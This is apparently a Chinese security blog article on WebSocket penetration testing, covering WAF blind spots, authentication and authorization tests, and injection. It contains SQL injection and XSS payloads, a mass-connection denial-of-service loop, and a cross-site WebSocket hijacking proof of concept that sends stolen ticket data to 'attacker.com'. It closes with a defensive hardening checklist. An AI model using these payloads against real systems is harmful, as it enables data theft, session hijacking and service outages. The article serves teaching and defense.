WebSocket安全测试实战:那些绕过WAF的攻击手法与防御方案
上个月做渗透测试,遇到一个有意思的场景。客户上了WAF,SQL注入、XSS全被拦得死死的,报告写得跟白卷似的。但仔细翻了翻流量,发现他们的即时通讯模块用的是WebSocket,WAF对这个协议几乎不设防——数据包走的是ws://,没走常规HTTP,安全网关直接把流量放行了。
这不是单个案例。我翻了翻近两年的漏洞报告,WebSocket相关的安全问题占比在持续上升。不是因为WebSocket本身不安全,而是大多数人部署的时候根本没想过要给它做安全测试。今天这篇就聊聊WebSocket安全测试的完整思路,从协议分析到实战利用再到防御加固。
WebSocket协议安全盲区在哪
WebSocket和HTTP有一个关键差异:WebSocket在握手阶段用HTTP Upgrade,但握手之后的数据帧完全不走HTTP协议栈。
这意味着什么?传统WAF和安全网关的检测逻辑是建立在HTTP请求-响应模型上的。一旦WebSocket连接建立,后续数据以二进制帧传输,绝大多数WAF直接看都看不懂。
来看握手阶段的对比。正常的WebSocket升级请求:
GET /ws/chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
握手完成后,双方直接通过TCP层面的帧通信。WAF最多只能管到握手那一步,后续的帧内容,它基本是个瞎子。
我之前测试一个金融系统,发现它的WebSocket端点 /ws/message 居然没有做身份校验——只要握手请求带了有效的Cookie,连接建立后可以随意伪造消息中的user_id字段来冒充其他人发消息。这就是典型的服务端信任过度问题。
WebSocket安全测试方法论
1. 端点发现与协议探测
第一步是找到目标的所有WebSocket端点。常规手段:
- 查看页面源码:搜索
new WebSocket("ws://或wss:// - 浏览器开发者工具:Network面板筛选WS协议
- Burp Suite:WebSockets History标签页
- 扫描工具:用dirsearch或自定义脚本探测常见WS路径
Burp Suite 对于WebSocket的支持其实很完善——在Proxy → WebSockets History 里面能看到所有WebSocket消息。关键是要在Intercept里面勾选 Intercept WebSocket Messages,不然消息直接从你眼皮底下溜过去。
一个被很多人忽略的端点:反向WebSocket(服务端主动发起的WebSocket连接)。有些系统为了实现实时推送,会让客户端监听服务端的WebSocket连接,这种模式的安全风险更大,因为攻击面从客户端扩展到了服务端主动发起的任意连接。
2. 身份认证与授权测试
这是WebSocket安全测试最核心的环节。
测试点1:连接阶段认证绕过
WebSocket握手的认证通常依赖Cookie或Token。测试方法:
- 移除Cookie后尝试握手——看看能否建立连接
- 修改Token为过期Token——看服务端是否在校验
- 使用低权限用户的Token连接高权限端点
之前在某电商平台测试时发现,它的客服系统WebSocket端点 /ws/admin/chat 只在前端做了路由隐藏,后端握手时根本没校验用户角色。用普通用户的Cookie直接连这个端点,就能看到所有客服和客户的聊天记录。
测试点2:消息级越权
连接建立后的每条消息,服务端可能没有做二次权限校验。测试方法:
// 使用浏览器控制台或自定义脚本
const ws = new WebSocket('wss://target.com/ws/chat');
ws.onopen = () => {
// 尝试修改其他用户的消息
ws.send(JSON.stringify({
action: 'send_message',
target_user: 'admin',
content: '<script>alert(1)</script>'
}));
// 尝试读取未授权数据
ws.send(JSON.stringify({
action: 'get_conversation',
user_id: 10086
}));
};
测试点3:服务端推送数据泄露
有些系统会在连接建立后自动推送大量数据。我曾经在一个OA系统测试时,连接 /ws/dashboard 后服务端主动返回了完整的数据库连接字符串——里面包含了明文密码。这属于典型的过度推送问题,服务端把初始化数据一股脑全塞给了客户端。
3. 注入攻击测试
WebSocket消息内容照样有注入风险。
SQL注入
import websocket
import json
ws = websocket.create_connection("wss://target.com/ws/search")
# 构造SQL注入payload
payload = {
"action": "search",
"keyword": "1' UNION SELECT username, password FROM users--"
}
ws.send(json.dumps(payload))
result = ws.recv()
print(result)
ws.close()
XSS测试 —— 尤其注意WebSocket推送到浏览器端的内容是否做了转义。如果服务端把用户输入原样推送给其他用户,那就是存储型XSS。
{
"action": "send_message",
"target": "admin",
"content": "<img src=x onerror=alert(document.cookie)>"
}
这个payload通过WebSocket发送后,如果服务端不做过滤就直接推送给其他在线用户,弹窗就来了。而且因为消息不经过HTTP,WAF完全没感知。
4. 业务逻辑漏洞
WebSocket的双向通信特性带来了一些独特的业务逻辑攻击面。
消息重放攻击:截获一条合法WebSocket消息,修改时间戳后重放。有些系统只在握手时校验身份,后续消息全靠时间戳防重放——时间戳窗口开得大的话,重放窗口就很可观。
会话固定:有些系统允许客户端在握手时指定session_id。如果服务端接受了客户端指定的session_id而没有重新生成,攻击者可以构造一个已知的session_id诱导受害者连接,从而实现会话劫持。
资源耗尽:WebSocket的长连接特性可以用来做资源耗尽攻击。开1000个WebSocket连接,每个连接持续发送大包,服务端的内存和CPU很快就被吃光。
# 使用websocket爆破工具做资源耗尽测试
for i in $(seq 1 500); do
python3 -c "
import websocket
ws = websocket.create_connection('wss://target.com/ws/chat')
ws.send('A' * 1024 * 1024) # 1MB payload
" &
done
wait
实战案例:一次WebSocket链路劫持
今年Q1给一家SaaS厂商做渗透测试,遇到了一个挺经典的WebSocket问题。他们的客服系统用了Socket.IO(基于WebSocket的长轮询框架),但是后端配置出了问题——没有验证origin。
# 测试origin校验
wss://target.com/socket.io/?EIO=4&transport=websocket
我用WebSocket客户端从另一个域名建立连接,居然成功握手了。没有origin校验意味着任意第三方网站都可以在他们的用户浏览器里建立WebSocket连接。
然后写了个简单的PoC:
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/socket.io/?EIO=4&transport=websocket');
ws.onopen = () => {
// 如果受害者已经登录了target.com且session cookie仍在有效期,
// 这里的ws连接会自动带上他的cookie
ws.send('42["get_tickets",{}]');
};
ws.onmessage = (e) => {
// 获取到的工单数据通过图片请求外带
new Image().src = 'https://attacker.com/steal?data=' + btoa(e.data);
};
</script>
</body>
</html>
把这个HTML放在钓鱼邮件里发给客户员工,打开后利用他们已经在target.com登录的session,窃取客服工单系统的全部数据。这就是CSWSH(Cross-Site WebSocket Hijacking,跨站WebSocket劫持)。
WebSocket安全加固清单
既然测出来了,就得知道怎么修。以下是对应的防御方案:
1. Origin校验(必做)
服务端在握手时必须校验Origin头,只允许授权的来源。
# Flask-SocketIO示例 - 只允许特定域名
SOCKETIO_ALLOWED_ORIGINS = ['https://app.target.com', 'https://admin.target.com']
2. 消息级权限校验
不要信任握手阶段的认证结果,每条消息到达服务端都必须重新做权限校验。
# Bad - 仅在连接时校验一次
def on_connect(ws, request):
user = authenticate(request.cookies)
ws.user = user # 之后所有消息都信任这个user
# Good - 每条消息都校验
def on_message(ws, message):
user = authenticate(ws.cookies)
if not has_permission(user, message.action, message.target):
ws.close(4001, "unauthorized")
return
process(message)
3. 输入输出过滤
WebSocket消息的内容过滤不能依赖WAF,必须在应用层做。
- 对服务端接收的消息:严格的输入校验 + 参数化查询
- 对推送给客户端的内容:HTML实体编码 + Content-Security-Policy头
4. 速率限制
对WebSocket连接和数据帧做速率限制:
# 连接频率限制 - 同一IP 30秒内最多5个WebSocket连接
RATE_LIMIT = {
'connections': {'max': 5, 'window': 30},
'messages': {'max': 100, 'window': 10},
'payload_size': {'max': 65536} # 单帧最大64KB
}
5. 使用WSS代替WS
强制使用 wss://(WebSocket over TLS),防止中间人窃听和篡改。这个应该不用多说,但在实际测试中仍然能看到生产环境跑 ws:// 裸协议的情况。
总结
WebSocket安全测试最尴尬的地方在于——绝大多数安全测试工具对这个协议的支持都很弱。传统漏洞扫描器看不到WebSocket流量,WAF拦不住WebSocket攻击,很多安全工程师甚至不知道Burp Suite能拦截WebSocket消息。
但攻击者不会因为你看不到就放过它。恰恰相反,照不到光的死角是最容易藏东西的。
如果你正在做渗透测试,记得把WebSocket端点加进测试范围。如果你在写代码,记住一条原则:不要在WebSocket里信任任何你在HTTP里不信任的东西。握手校验、消息校验、速率限制,一个都不能少。
下次做安全评估的时候,别忘了看看那几个ws://的端点——里面可能藏着你找了一整个项目周期的那个高危漏洞。
关注「安全值班室」公众号
每天实战攻防案例 + 安全干货

浙公网安备 33010602011771号